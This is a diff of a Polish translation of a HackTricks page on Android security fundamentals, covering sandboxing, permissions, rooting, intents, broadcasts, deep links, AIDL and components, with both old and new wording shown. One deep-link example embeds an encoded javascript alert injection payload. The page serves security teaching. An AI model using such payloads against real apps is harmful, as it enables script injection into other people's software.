* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną na HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
@ -16,7 +16,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -31,17 +31,17 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
### Separacja UID
|
||||
|
||||
**Każdej aplikacji przypisane jest określone ID użytkownika (UID)**. Jest to wykonywane podczas instalacji aplikacji, dzięki czemu **aplikacja może komunikować się tylko z plikami należącymi do swojego UID lub plikami współdzielonymi**. Dlatego tylko sama aplikacja, pewne komponenty systemu operacyjnego i użytkownik root mogą uzyskać dostęp do danych aplikacji.
|
||||
**Każda aplikacja jest przypisana określone ID użytkownika (UID)**. Jest to wykonywane podczas instalacji aplikacji, dzięki czemu **aplikacja może komunikować się tylko z plikami należącymi do swojego UID lub plikami współdzielonymi**. Dlatego tylko sama aplikacja, pewne komponenty systemu operacyjnego i użytkownik root mogą uzyskać dostęp do danych aplikacji.
|
||||
|
||||
### Współdzielenie UID
|
||||
|
||||
**Dwie aplikacje mogą być skonfigurowane do korzystania z tego samego UID**. Może to być przydatne do współdzielenia informacji, ale jeśli jedna z nich zostanie skompromitowana, dane obu aplikacji zostaną naruszone. Dlatego to zachowanie jest **niezalecane**.\
|
||||
**Dwie aplikacje mogą być skonfigurowane do korzystania z tego samego UID**. Może to być przydatne do współdzielenia informacji, ale jeśli jedna z nich zostanie skompromitowana, dane obu aplikacji zostaną naruszone. Dlatego ten sposób postępowania jest **niezalecany**.\
|
||||
**Aby współdzielić to samo UID, aplikacje muszą zdefiniować tę samą wartość `android:sharedUserId` w swoich manifestach.**
|
||||
|
||||
### Izolacja
|
||||
|
||||
**Piaskownica Aplikacji Androida** pozwala uruchamiać **każdą aplikację** jako **oddzielny proces pod oddzielnym identyfikatorem użytkownika**. Każdy proces ma swoją własną maszynę wirtualną, więc kod aplikacji działa w izolacji od innych aplikacji.\
|
||||
Od Androida 5.0(L) **SELinux** jest egzekwowany. W skrócie, SELinux odrzuca wszystkie interakcje procesów, a następnie tworzy zasady, aby **pozwolić tylko na oczekiwane interakcje między nimi**.
|
||||
Od wersji Androida 5.0(L) jest stosowany **SELinux**. W skrócie, SELinux odrzuca wszystkie interakcje procesów, a następnie tworzy zasady, aby **zezwolić tylko na oczekiwane interakcje między nimi**.
|
||||
|
||||
### Uprawnienia
|
||||
|
||||
|
@ -56,23 +56,23 @@ Element uprawnienia ma trzy atrybuty:
|
|||
* **Poziom ochrony**, który wskazuje, jak uprawnienia są udzielane. Istnieją cztery typy:
|
||||
* **Normal**: Używane, gdy nie ma **znanych zagrożeń** dla aplikacji. Użytkownik **nie musi go zatwierdzać**.
|
||||
* **Niebezpieczne**: Wskazuje, że uprawnienie nadaje żądającej aplikacji pewne **podwyższone uprawnienia**. **Użytkownicy są proszeni o ich zatwierdzenie**.
|
||||
* **Podpis**: Tylko **aplikacje podpisane tym samym certyfikatem co ta**, eksportująca komponent, mogą uzyskać uprawnienie. To najmocniejszy typ ochrony.
|
||||
* **PodpisLubSystem**: Tylko **aplikacje podpisane tym samym certyfikatem co ta**, eksportująca komponent, lub **aplikacje działające z poziomem dostępu systemowego** mogą uzyskać uprawnienia.
|
||||
* **Signature**: Tylko **aplikacje podpisane tym samym certyfikatem co ta**, eksportująca komponent, mogą uzyskać uprawnienie. Jest to najmocniejszy typ ochrony.
|
||||
* **SignatureOrSystem**: Tylko **aplikacje podpisane tym samym certyfikatem co ta**, eksportująca komponent, lub **aplikacje działające z poziomem dostępu systemowego** mogą uzyskać uprawnienia.
|
||||
|
||||
## Zainstalowane Wstępnie Aplikacje
|
||||
|
||||
Te aplikacje zazwyczaj znajdują się w katalogach **`/system/app`** lub **`/system/priv-app`**, a niektóre z nich są **zoptymalizowane** (możesz nawet nie znaleźć pliku `classes.dex`). Warto sprawdzić te aplikacje, ponieważ czasami działają zbyt wieloma uprawnieniami (jako root).
|
||||
|
||||
* Te dostarczone z **AOSP** (Android OpenSource Project) **ROM**
|
||||
* Te dostarczone z **ROM-em AOSP** (Android OpenSource Project)
|
||||
* Dodane przez **producenta urządzenia**
|
||||
* Dodane przez **dostawcę telefonu komórkowego** (jeśli zakupione od nich)
|
||||
* Dodane przez **dostawcę telefonii komórkowej** (jeśli zakupione od nich)
|
||||
|
||||
## Rootowanie
|
||||
|
||||
Aby uzyskać dostęp roota do fizycznego urządzenia z systemem Android, zazwyczaj trzeba **wykorzystać** 1 lub 2 **luki**, które zazwyczaj są **specyficzne** dla **urządzenia** i **wersji**.\
|
||||
Gdy exploit zadziała, zazwyczaj binarny `su` systemu Linux jest kopiowany do lokalizacji określonej w zmiennej środowiskowej PATH użytkownika, np. `/system/xbin`.
|
||||
|
||||
Po skonfigurowaniu binarnego su, inna aplikacja na Androida jest używana do interakcji z binarnym `su` i **przetwarzania żądań dostępu roota** jak **Superuser** i **SuperSU** (dostępne w sklepie Google Play).
|
||||
Po skonfigurowaniu binarnego su, inna aplikacja na Androida jest używana do interakcji z binarnym `su` i **przetwarzania żądań dostępu roota**, takich jak **Superuser** i **SuperSU** (dostępne w sklepie Google Play).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Zauważ, że proces rootowania jest bardzo niebezpieczny i może poważnie uszkodzić urządzenie
|
||||
|
@ -81,9 +81,9 @@ Zauważ, że proces rootowania jest bardzo niebezpieczny i może poważnie uszko
|
|||
### ROM-y
|
||||
|
||||
Możliwe jest **zastąpienie systemu operacyjnego instalując niestandardowe oprogramowanie**. Dzięki temu można rozszerzyć użyteczność starego urządzenia, ominąć ograniczenia oprogramowania lub uzyskać dostęp do najnowszego kodu Androida.\
|
||||
**OmniROM** i **LineageOS** to dwa z najpopularniejszych firmware'ów do użycia.
|
||||
**OmniROM** i **LineageOS** to dwa z najpopularniejszych oprogramowań do użytku.
|
||||
|
||||
Zauważ, że **nie zawsze jest konieczne zrootowanie urządzenia** do zainstalowania niestandardowego oprogramowania. **Niektórzy producenci pozwalają** na odblokowanie ich bootloaderów w dobrze udokumentowany i bezpieczny sposób.
|
||||
Zauważ, że **nie zawsze jest konieczne zrootowanie urządzenia** do zainstalowania niestandardowego oprogramowania. **Niektórzy producenci pozwalają** na odblokowanie ich bootloaderów w sposób dobrze udokumentowany i bezpieczny.
|
||||
|
||||
### Konsekwencje
|
||||
|
||||
|
@ -113,13 +113,13 @@ Po zrootowaniu urządzenia, dowolna aplikacja może żądać dostępu jako root.
|
|||
- Zawiera zasoby, które nie są skompilowane do resources.arsc
|
||||
### **Dalvik & Smali**
|
||||
|
||||
W rozwoju aplikacji na Androida używa się **Javy lub Kotlinu**. Zamiast korzystać z JVM jak w aplikacjach na komputery stacjonarne, Android kompiluje ten kod do **Dalvik Executable (DEX) bytecode**. Wcześniej ten bytecode obsługiwała maszyna wirtualna Dalvik, ale teraz w nowszych wersjach Androida kontrolę przejmuje Android Runtime (ART).
|
||||
W rozwoju aplikacji na Androida używa się **Javy lub Kotlinu**. Zamiast korzystać z JVM jak w aplikacjach na komputery stacjonarne, Android kompiluje ten kod do **wykonywalnego kodu Dalvika (DEX)**. Wcześniej ten kod obsługiwała maszyna wirtualna Dalvika, ale teraz w nowszych wersjach Androida przejmuje to Android Runtime (ART).
|
||||
|
||||
W odwrotnej inżynierii kluczową rolę odgrywa **Smali**. Jest to czytelna dla człowieka wersja bytecode'u DEX, działająca jak język asemblera, tłumacząca kod źródłowy na instrukcje bytecode'u. Smali i baksmali odnoszą się do narzędzi montażu i demontażu w tym kontekście.
|
||||
W odwrotnej inżynierii kluczową rolę odgrywa **Smali**. Jest to czytelna dla człowieka wersja kodu DEX, działająca jak język asemblera, tłumacząca kod źródłowy na instrukcje bajtowe. Smali i baksmali odnoszą się do narzędzi montażu i demontażu w tym kontekście.
|
||||
|
||||
## Intents
|
||||
|
||||
Intents są głównym środkiem komunikacji między komponentami aplikacji na Androida lub z innymi aplikacjami. Te obiekty wiadomości mogą również przesyłać dane między aplikacjami lub komponentami, podobnie jak w przypadku żądań GET/POST w komunikacji HTTP.
|
||||
Intents są głównym środkiem komunikacji między komponentami aplikacji na Androida lub między innymi aplikacjami. Obiekty tych wiadomości mogą również przekazywać dane między aplikacjami lub komponentami, podobnie jak w przypadku żądań GET/POST w komunikacji HTTP.
|
||||
|
||||
Więc Intent to w zasadzie **wiadomość przekazywana między komponentami**. Intents **mogą być skierowane** do konkretnych komponentów lub aplikacji, **lub mogą być wysyłane bez określonego odbiorcy**.\
|
||||
Aby to uprościć, Intent można użyć:
|
||||
|
@ -134,19 +134,19 @@ Jeśli są podatne, **Intents mogą być wykorzystane do przeprowadzenia różno
|
|||
|
||||
### Intent-Filter
|
||||
|
||||
**Filtry Intents** definiują **jak aktywność, usługa lub odbiornik nadawczy Broadcast może współdziałać z różnymi typami Intents**. W zasadzie opisują one możliwości tych komponentów, takie jak jakie działania mogą wykonywać lub jakie rodzaje transmisji mogą przetwarzać. Głównym miejscem deklaracji tych filtrów jest plik **AndroidManifest.xml**, chociaż dla odbiorników nadawczych istnieje również możliwość ich kodowania.
|
||||
**Filtry Intents** definiują **jak aktywność, usługa lub odbiornik nadawany może współdziałać z różnymi typami Intents**. W zasadzie opisują one możliwości tych komponentów, takie jak jakie działania mogą wykonywać lub jakie rodzaje transmisji mogą przetwarzać. Głównym miejscem deklaracji tych filtrów jest plik **AndroidManifest.xml**, chociaż dla odbiorników nadawanych istnieje również możliwość ich kodowania.
|
||||
|
||||
Filtry Intents składają się z kategorii, działań i filtrów danych, z możliwością dodania dodatkowych metadanych. Taka konfiguracja pozwala komponentom obsługiwać konkretne Intents, które spełniają określone kryteria.
|
||||
Filtry Intents składają się z kategorii, działań i filtrów danych, z możliwością dodania dodatkowych metadanych. Ten układ pozwala komponentom obsługiwać konkretne Intents, które spełniają określone kryteria.
|
||||
|
||||
Krytycznym aspektem komponentów Androida (aktywności/usług/dostawców treści/odbiorców nadawczych) jest ich widoczność lub **status publiczny**. Komponent jest uważany za publiczny i może współdziałać z innymi aplikacjami, jeśli jest **`eksportowany`** z wartością **`true`** lub jeśli dla niego zadeklarowany jest filtr Intent w manifeście. Jednak deweloperzy mają możliwość jawnego zachowania tych komponentów jako prywatnych, zapewniając, że nie będą one niezamierzenie współdziałać z innymi aplikacjami. Można to osiągnąć, ustawiając atrybut **`eksportowany`** na **`false`** w ich definicjach manifestu.
|
||||
Krytycznym aspektem komponentów Androida (aktywności/usług/dostawców treści/odbiorców nadawanych) jest ich widoczność lub **status publiczny**. Komponent jest uważany za publiczny i może współdziałać z innymi aplikacjami, jeśli jest **`eksportowany`** z wartością **`true`** lub jeśli dla niego zadeklarowany jest filtr Intent w manifeście. Jednak deweloperzy mają możliwość jawnego zachowania tych komponentów jako prywatnych, zapewniając, że nie będą one niezamierzenie współdziałać z innymi aplikacjami. Można to osiągnąć, ustawiając atrybut **`eksportowany`** na **`false`** w ich definicjach manifestu.
|
||||
|
||||
Co więcej, deweloperzy mają możliwość dodatkowego zabezpieczenia dostępu do tych komponentów, wymagając określonych uprawnień. Atrybut **`uprawnienie`** może być ustawiony w celu wymuszenia, aby tylko aplikacje z wyznaczonym uprawnieniem mogły uzyskać dostęp do komponentu, dodając dodatkową warstwę bezpieczeństwa i kontroli nad tym, kto może z nim współdziałać.
|
||||
Co więcej, deweloperzy mają możliwość dodatkowego zabezpieczenia dostępu do tych komponentów, wymagając określonych uprawnień. Atrybut **`uprawnienie`** może być ustawiony w celu wymuszenia dostępu do komponentu tylko dla aplikacji z wyznaczonym uprawnieniem, dodając dodatkową warstwę bezpieczeństwa i kontroli nad tym, kto może z nim współdziałać.
|
||||
```java
|
||||
<activity android:name=".MyActivity" android:exported="false">
|
||||
<!-- Intent filters go here -->
|
||||
</activity>
|
||||
```
|
||||
### Impliliczne Intencje
|
||||
### Impliitytne Intencje
|
||||
|
||||
Intencje są tworzone programistycznie za pomocą konstruktora Intent:
|
||||
```java
|
||||
|
@ -165,7 +165,7 @@ Ta intencja powinna być zadeklarowana wewnątrz manifestu, jak w poniższym prz
|
|||
```
|
||||
Intent-filter musi pasować do **działania**, **danych** i **kategorii**, aby otrzymać wiadomość.
|
||||
|
||||
Proces "Rozstrzygania intencji" określa, która aplikacja powinna otrzymać każdą wiadomość. Proces ten uwzględnia atrybut **priorytetu**, który może być ustawiony w deklaracji **intent-filter**, a **wybrana zostanie ta z wyższym priorytetem**. Priorytet ten można ustawić między -1000 a 1000, a aplikacje mogą używać wartości `SYSTEM_HIGH_PRIORITY`. Jeśli **wystąpi konflikt**, pojawia się okno "wyboru", dzięki czemu **użytkownik może zdecydować**.
|
||||
Proces "Rozstrzygania intencji" określa, która aplikacja powinna otrzymać każdą wiadomość. Proces ten uwzględnia atrybut **priorytetu**, który może być ustawiony w deklaracji **intent-filter**, a **ten z wyższym priorytetem zostanie wybrany**. Priorytet ten można ustawić w zakresie od -1000 do 1000, a aplikacje mogą używać wartości `SYSTEM_HIGH_PRIORITY`. Jeśli **wystąpi konflikt**, pojawia się okno "wyboru", dzięki czemu **użytkownik może zdecydować**.
|
||||
|
||||
### Jawne intencje
|
||||
|
||||
|
@ -179,32 +179,32 @@ Intent intent = new Intent();
|
|||
intent.setClassName("com.other.app", "com.other.app.ServiceName");
|
||||
context.startService(intent);
|
||||
```
|
||||
### Intencje oczekujące
|
||||
### Oczekujące Intencje
|
||||
|
||||
Pozwalają innym aplikacjom **wykonywać czynności w imieniu Twojej aplikacji**, korzystając z tożsamości i uprawnień Twojej aplikacji. Konstruując Intencję oczekującą, należy **określić intencję i akcję do wykonania**. Jeśli **zadeklarowana intencja nie jest jawna** (nie określa, która intencja może ją wywołać), **złośliwa aplikacja może wykonać zadeklarowaną akcję** w imieniu aplikacji ofiary. Ponadto, **jeśli akcja nie jest określona**, złośliwa aplikacja będzie mogła wykonać **dowolną akcję w imieniu ofiary**.
|
||||
Pozwalają innym aplikacjom **wykonywać działania w imieniu twojej aplikacji**, korzystając z tożsamości i uprawnień twojej aplikacji. Konstruując Oczekującą Intencję, należy **określić intencję i działanie do wykonania**. Jeśli **zadeklarowana intencja nie jest jawna** (nie określa, która intencja może ją wywołać), **złośliwa aplikacja może wykonać zadeklarowane działanie** w imieniu aplikacji ofiary. Ponadto, **jeśli działanie nie jest określone**, złośliwa aplikacja będzie mogła wykonać **dowolne działanie w imieniu ofiary**.
|
||||
|
||||
### Intencje rozgłoszeniowe
|
||||
### Intencje Rozgłoszeniowe
|
||||
|
||||
W przeciwieństwie do poprzednich intencji, które są odbierane tylko przez jedną aplikację, intencje rozgłoszeniowe **mogą być odbierane przez wiele aplikacji**. Jednakże, począwszy od wersji API 14, jest **możliwe określenie aplikacji, która powinna otrzymać** wiadomość, korzystając z Intent.set Package.
|
||||
W przeciwieństwie do poprzednich intencji, które są odbierane tylko przez jedną aplikację, intencje rozgłoszeniowe **mogą być odbierane przez wiele aplikacji**. Jednakże, począwszy od wersji API 14, jest **możliwe określenie aplikacji, która powinna otrzymać** wiadomość za pomocą Intent.setPackage.
|
||||
|
||||
Alternatywnie, jest również możliwe **określenie uprawnienia podczas wysyłania rozgłoszenia**. Aplikacja odbiorcza będzie musiała posiadać to uprawnienie.
|
||||
|
||||
Istnieją **dwa rodzaje** rozgłoszeń: **Normalne** (asynchroniczne) i **Uporządkowane** (synchroniczne). **Kolejność** jest ustalana na podstawie **skonfigurowanego priorytetu w elemencie odbiorcy**. **Każda aplikacja może przetwarzać, przekazywać lub odrzucać rozgłoszenie**.
|
||||
Istnieją **dwa rodzaje** Rozgłoszeń: **Normalne** (asynchroniczne) i **Uporządkowane** (synchroniczne). **Kolejność** jest oparta na **skonfigurowanym priorytecie wewnątrz elementu odbiorcy**. **Każda aplikacja może przetwarzać, przekazywać lub odrzucać Rozgłoszenie**.
|
||||
|
||||
Możliwe jest **wysłanie** rozgłoszenia za pomocą funkcji `sendBroadcast(intent, receiverPermission)` z klasy `Context`.\
|
||||
Można również skorzystać z funkcji **`sendBroadcast`** z **`LocalBroadCastManager`**, co zapewnia, że **wiadomość nigdy nie opuści aplikacji**. Dzięki temu nie będzie nawet konieczne eksportowanie komponentu odbiorcy.
|
||||
Można również użyć funkcji **`sendBroadcast`** z **`LocalBroadCastManager`**, co zapewnia, że **wiadomość nigdy nie opuści aplikacji**. Dzięki temu nie będzie nawet konieczne eksportowanie komponentu odbiorcy.
|
||||
|
||||
### Rozgłoszenia trwałe
|
||||
### Trwałe Rozgłoszenia
|
||||
|
||||
Ten rodzaj rozgłoszeń **może być dostępny długo po ich wysłaniu**.\
|
||||
Ten rodzaj Rozgłoszeń **może być dostępny długo po ich wysłaniu**.\
|
||||
Zostały one oznaczone jako przestarzałe w poziomie API 21 i zaleca się **nie korzystanie z nich**.\
|
||||
**Pozwalają one dowolnej aplikacji na podsłuchanie danych, ale także na ich modyfikację**.
|
||||
|
||||
Jeśli znajdziesz funkcje zawierające słowo "trwałe" jak **`sendStickyBroadcast`** lub **`sendStickyBroadcastAsUser`**, **sprawdź wpływ i spróbuj je usunąć**.
|
||||
|
||||
## Głębokie linki / schematy URL
|
||||
## Głębokie linki / Schematy URL
|
||||
|
||||
W aplikacjach Androida, **głębokie linki** są używane do uruchamiania akcji (Intencji) bezpośrednio za pomocą adresu URL. Dokonuje się tego poprzez zadeklarowanie określonego **schematu URL** wewnątrz aktywności. Gdy urządzenie z systemem Android próbuje **uzyskać dostęp do adresu URL z tym schematem**, uruchamiana jest określona aktywność w aplikacji.
|
||||
W aplikacjach Androida, **głębokie linki** są używane do zainicjowania działania (Intencji) bezpośrednio za pomocą adresu URL. Dokonuje się tego poprzez zadeklarowanie określonego **schematu URL** wewnątrz aktywności. Gdy urządzenie z systemem Android próbuje **uzyskać dostęp do adresu URL z tym schematem**, uruchamiana jest określona aktywność w ramach aplikacji.
|
||||
|
||||
Schemat musi być zadeklarowany w pliku **`AndroidManifest.xml`**:
|
||||
```xml
|
||||
|
@ -226,7 +226,7 @@ Następnie, w polu danych, możesz określić **host** i **ścieżkę**:
|
|||
android:host="example"
|
||||
/>
|
||||
```
|
||||
Aby uzyskać do niego dostęp z sieci, można ustawić link w ten sposób:
|
||||
Aby uzyskać do niego dostęp z sieci internetowej, można ustawić link w ten sposób:
|
||||
```xml
|
||||
<a href="examplescheme://example/something">click here</a>
|
||||
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
|
||||
|
@ -237,19 +237,19 @@ Dowiedz się, jak [wywoływać linki głębokie bez użycia stron HTML](./#explo
|
|||
|
||||
## AIDL - Android Interface Definition Language
|
||||
|
||||
**Android Interface Definition Language (AIDL)** został zaprojektowany w celu ułatwienia komunikacji między klientem a usługą w aplikacjach Android za pomocą **komunikacji międzyprocesowej** (IPC). Ponieważ bezpośredni dostęp do pamięci innego procesu nie jest dozwolony w systemie Android, AIDL upraszcza proces poprzez marshaling obiektów do formatu zrozumiałego przez system operacyjny, ułatwiając tym samym komunikację między różnymi procesami.
|
||||
**Android Interface Definition Language (AIDL)** został zaprojektowany w celu ułatwienia komunikacji między klientem a usługą w aplikacjach Android za pomocą **komunikacji międzyprocesowej** (IPC). Ponieważ bezpośredni dostęp do pamięci innego procesu nie jest dozwolony w systemie Android, AIDL upraszcza proces poprzez serializację obiektów do formatu zrozumiałego przez system operacyjny, ułatwiając tym samym komunikację między różnymi procesami.
|
||||
|
||||
### Kluczowe pojęcia
|
||||
|
||||
- **Usługi powiązane**: Te usługi wykorzystują AIDL do IPC, umożliwiając aktywnościom lub komponentom powiązanie się z usługą, składanie żądań i odbieranie odpowiedzi. Metoda `onBind` w klasie usługi jest kluczowa dla inicjowania interakcji, co czyni ją istotnym obszarem do przeglądu pod kątem bezpieczeństwa w poszukiwaniu podatności.
|
||||
- **Usługi powiązane**: Te usługi wykorzystują AIDL do IPC, umożliwiając aktywnościom lub komponentom powiązanie się z usługą, wysłanie żądań i otrzymanie odpowiedzi. Metoda `onBind` w klasie usługi jest kluczowa dla inicjowania interakcji, co czyni ją istotnym obszarem do przeglądu pod kątem bezpieczeństwa w poszukiwaniu podatności.
|
||||
|
||||
- **Messenger**: Działając jako usługa powiązana, Messenger ułatwia IPC z naciskiem na przetwarzanie danych za pomocą metody `onBind`. Istotne jest dokładne sprawdzenie tej metody pod kątem niebezpiecznego przetwarzania danych lub wykonywania funkcji wymagających ochrony.
|
||||
- **Messenger**: Działając jako usługa powiązana, Messenger ułatwia IPC, skupiając się na przetwarzaniu danych za pomocą metody `onBind`. Istotne jest dokładne sprawdzenie tej metody pod kątem niebezpiecznego przetwarzania danych lub wykonywania funkcji wymagających ochrony.
|
||||
|
||||
- **Binder**: Chociaż bezpośrednie użycie klasy Binder jest mniej powszechne ze względu na abstrakcję AIDL, warto zrozumieć, że Binder działa jako sterownik na poziomie jądra ułatwiający transfer danych między przestrzeniami pamięci różnych procesów. Dla lepszego zrozumienia dostępny jest zasób pod adresem [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
|
||||
- **Binder**: Choć bezpośrednie użycie klasy Binder jest mniej powszechne ze względu na abstrakcję AIDL, warto zrozumieć, że Binder działa jako sterownik na poziomie jądra ułatwiający transfer danych między przestrzeniami pamięci różnych procesów. Dla lepszego zrozumienia dostępny jest zasób pod adresem [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
|
||||
|
||||
## Komponenty
|
||||
|
||||
Obejmują one: **Aktywności, Usługi, Odbiorniki nadawcze i Dostawcy.**
|
||||
Obejmują: **Aktywności, Usługi, Odbiorniki nadawcze i Dostawcy.**
|
||||
|
||||
### Aktywność uruchamiająca i inne aktywności
|
||||
|
||||
|
@ -266,7 +266,7 @@ W aplikacjach Android **aktywności** są jak ekrany, prezentujące różne czę
|
|||
```
|
||||
Nie wszystkie aplikacje potrzebują aktywności uruchomieniowej, zwłaszcza te bez interfejsu użytkownika, takie jak usługi w tle.
|
||||
|
||||
Aby udostępnić aktywności innym aplikacjom lub procesom, można oznaczyć je jako "eksportowane" w manifeście. Ta opcja pozwala innym aplikacjom uruchamiać tę aktywność:
|
||||
Aby udostępnić aktywności innym aplikacjom lub procesom, można je oznaczyć jako "eksportowane" w pliku manifestu. Ta opcja pozwala innym aplikacjom uruchamiać tę aktywność:
|
||||
```markdown
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
|
@ -276,7 +276,7 @@ Cykl życia aktywności **rozpoczyna się od metody onCreate**, która ustawia i
|
|||
|
||||
### Podklasa aplikacji
|
||||
|
||||
W rozwoju aplikacji na Androida, aplikacja ma opcję utworzenia **podklasy** klasy [Application](https://developer.android.com/reference/android/app/Application), chociaż nie jest to obowiązkowe. Gdy taka podklasa jest zdefiniowana, staje się pierwszą klasą do zainicjowania w aplikacji. Metoda **`attachBaseContext`**, jeśli zaimplementowana w tej podklasie, jest wykonywana przed metodą **`onCreate`**. Ten układ pozwala na wczesną inicjalizację przed uruchomieniem reszty aplikacji.
|
||||
W rozwoju aplikacji na Androida, aplikacja ma opcję utworzenia **podklasy** klasy [Application](https://developer.android.com/reference/android/app/Application), chociaż nie jest to obowiązkowe. Gdy taka podklasa jest zdefiniowana, staje się pierwszą klasą do zainicjowania w aplikacji. Metoda **`attachBaseContext`**, jeśli zaimplementowana w tej podklasie, jest wykonywana przed metodą **`onCreate`**. To ustawienie pozwala na wczesną inicjalizację przed uruchomieniem reszty aplikacji.
|
||||
```java
|
||||
public class MyApp extends Application {
|
||||
@Override
|
||||
|
@ -294,9 +294,9 @@ super.onCreate();
|
|||
```
|
||||
### Usługi
|
||||
|
||||
[Usługi](https://developer.android.com/guide/components/services) to **operacje w tle** zdolne do wykonywania zadań bez interfejsu użytkownika. Te zadania mogą kontynuować działanie nawet gdy użytkownicy przełączają się na inne aplikacje, co czyni usługi kluczowymi dla **długotrwałych operacji**.
|
||||
[Usługi](https://developer.android.com/guide/components/services) to **operacje w tle** zdolne do wykonywania zadań bez interfejsu użytkownika. Te zadania mogą kontynuować działanie nawet gdy użytkownicy przełączają się na inne aplikacje, co czyni usługi niezbędnymi do **długotrwałych operacji**.
|
||||
|
||||
Usługi są wszechstronne; mogą być uruchamiane na różne sposoby, przy użyciu **Intents** jako głównego sposobu uruchamiania ich jako punktu wejścia aplikacji. Gdy usługa zostanie uruchomiona za pomocą metody `startService`, jej metoda `onStart` zostaje aktywowana i działa do momentu wywołania metody `stopService`. Alternatywnie, jeśli rola usługi zależy od aktywnego połączenia klienta, używana jest metoda `bindService` do powiązania klienta z usługą, co aktywuje metodę `onBind` do przekazywania danych.
|
||||
Usługi są wszechstronne; mogą być uruchamiane na różne sposoby, przy użyciu **Intents** jako głównego sposobu uruchamiania ich jako punktu wejścia aplikacji. Gdy usługa zostanie uruchomiona za pomocą metody `startService`, jej metoda `onStart` zostaje aktywowana i działa do momentu wywołania metody `stopService`. Alternatywnie, jeśli rola usługi zależy od aktywnego połączenia klienta, używana jest metoda `bindService` do powiązania klienta z usługą, wykorzystując metodę `onBind` do przekazywania danych.
|
||||
|
||||
Interesującym zastosowaniem usług jest odtwarzanie muzyki w tle lub pobieranie danych z sieci bez zakłócania interakcji użytkownika z aplikacją. Ponadto, usługi mogą być udostępnione innym procesom na tym samym urządzeniu poprzez **eksportowanie**. To nie jest zachowanie domyślne i wymaga jawnego skonfigurowania w pliku Android Manifest:
|
||||
```xml
|
||||
|
@ -306,19 +306,19 @@ Interesującym zastosowaniem usług jest odtwarzanie muzyki w tle lub pobieranie
|
|||
|
||||
**Odbiorniki nadawcze** działają jako słuchacze w systemie komunikacyjnym, pozwalając wielu aplikacjom reagować na te same wiadomości z systemu. Aplikacja może **zarejestrować odbiornik** na **dwa podstawowe sposoby**: poprzez **Manifest** aplikacji lub **dynamicznie** w kodzie aplikacji za pomocą interfejsu API **`registerReceiver`**. W przypadku Manifestu, nadawane są filtrowane z uprawnieniami, podczas gdy dynamicznie zarejestrowane odbiorniki mogą również określić uprawnienia podczas rejestracji.
|
||||
|
||||
**Filtry intencji** są kluczowe w obu metodach rejestracji, określając, które nadawane są wyzwalane przez odbiornik. Po wysłaniu pasującej nadawanej, wywoływana jest metoda **`onReceive`** odbiornika, umożliwiając aplikacji reagowanie odpowiednio, na przykład dostosowanie zachowania w odpowiedzi na alert o niskim poziomie baterii.
|
||||
**Filtry intencji** są kluczowe w obu metodach rejestracji, określając, które nadawane wiadomości wyzwalają odbiornik. Po wysłaniu pasującej wiadomości nadawczej, wywoływana jest metoda **`onReceive`** odbiornika, umożliwiając aplikacji reakcję, na przykład dostosowanie zachowania w odpowiedzi na alert o niskim poziomie baterii.
|
||||
|
||||
Nadawane mogą być albo **asynchroniczne**, docierając do wszystkich odbiorników bez kolejności, albo **synchroniczne**, gdzie odbiorniki otrzymują nadawane na podstawie ustawionych priorytetów. Jednak ważne jest zauważenie potencjalnego ryzyka bezpieczeństwa, ponieważ dowolna aplikacja może nadać sobie priorytet w celu przechwycenia nadawanego.
|
||||
Nadawane wiadomości mogą być albo **asynchroniczne**, docierając do wszystkich odbiorników bez kolejności, albo **synchroniczne**, gdzie odbiorniki otrzymują wiadomość na podstawie ustawionych priorytetów. Jednak ważne jest zauważenie potencjalnego ryzyka bezpieczeństwa, ponieważ dowolna aplikacja może nadać sobie priorytet w celu przechwycenia nadawanej wiadomości.
|
||||
|
||||
Aby zrozumieć funkcjonalność odbiornika, należy szukać metody **`onReceive`** wewnątrz jego klasy. Kod tej metody może manipulować otrzymaną Intencją, podkreślając potrzebę walidacji danych przez odbiorniki, zwłaszcza w przypadku **Nadawanych uporządkowanych**, które mogą modyfikować lub odrzucać Intencję.
|
||||
Aby zrozumieć funkcjonalność odbiornika, należy szukać metody **`onReceive`** wewnątrz jego klasy. Kod tej metody może manipulować otrzymaną intencją, podkreślając potrzebę walidacji danych przez odbiorniki, zwłaszcza w przypadku **Nadawanych Wiadomości w Kolejności**, które mogą modyfikować lub odrzucać intencję.
|
||||
|
||||
### Dostawca treści
|
||||
|
||||
